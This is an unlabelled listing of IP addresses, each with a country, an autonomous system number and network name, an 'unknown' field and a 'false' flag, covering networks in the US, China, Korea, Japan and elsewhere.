17816 CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi false
166.194.52.38
 unknown United States
20057 ATT-MOBILITY-LLC-AS20057US false
182.170.222.117
 unknown Japan 2527 SO-NETSo-netEntertainmentCorporationJP false
58.227.60.36
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
161.84.82.106
 unknown Netherlands
14298 EPA-NETUS false
16.252.82.149
 unknown United States
7430 TANDEMUS false
123.143.122.251
 unknown Korea Republic of
3786 LGDACOMLGDACOMCorporationKR false
205.231.140.88
 unknown United States
16804 UNASSIGNED false
171.38.195.147
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
161.240.241.6
 unknown United States
396269 BPL-ASNUS false
34.20.171.161
 unknown United States
2686 ATGS-MMD-ASUS false
27.187.38.250
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
162.108.20.192
 unknown United States
13325 STOMIUS false
58.34.54.165
 unknown China
4812 CHINANET-SH-APChinaTelecomGroupCN false
81.18.215.86
 unknown Poland
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
156.194.184.185
 unknown Egypt
8452 TE-ASTE-ASEG false
186.38.79.16
 unknown Argentina
22927 TelefonicadeArgentinaAR false
140.168.73.39
 unknown Australia
45867 CBA-NON-AS-APCommonwealthBankofAustraliaAU false
70.56.8.52
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
33.61.87.223
 unknown United States
2686 ATGS-MMD-ASUS false
68.76.243.194
 unknown United States
7018 ATT-INTERNET4US false
88.39.122.166
 unknown Italy
3269 ASN-IBSNAZIT false
170.50.56.24
 unknown United States
11406 CIGNA-1US false
27.169.160.164
 unknown Korea Republic of
9644 SKTELECOM-NET-ASSKTelecomKR false
164.170.253.247
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
101.81.6.132
 unknown China
4812 CHINANET-SH-APChinaTelecomGroupCN false
158.15.46.142
 unknown United States
300 DNIC-AS-00300US false
222.228.223.221
 unknown Japan 2519 VECTANTARTERIANetworksCorporationJP false
73.5.119.95
 unknown United States
7922 COMCAST-7922US false
135.155.215.249
 unknown United States
14962 NCR-252US false
183.50.124.186
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
169.50.189.165
 unknown United States
36351 SOFTLAYERUS false
172.157.75.180
 unknown United States
7018 ATT-INTERNET4US false
148.125.140.187
 unknown United States
2119 TELENOR-NEXTELTelenorNorgeASNO false
183.244.43.23
 unknown China
56048 CMNET-BEIJING-APChinaMobileCommunicaitonsCorporationCN false
196.3.160.139
 unknown South Africa
3586 JAMNETJM false
31.106.228.143
 unknown United Kingdom
12576 EELtdGB false
68.34.5.17
 unknown United States
7922 COMCAST-7922US false
50.27.177.195
 unknown United States
19108 SUDDENLINK-COMMUNICATIONSUS false
40.157.145.214
 unknown United States
4249 LILLY-ASUS false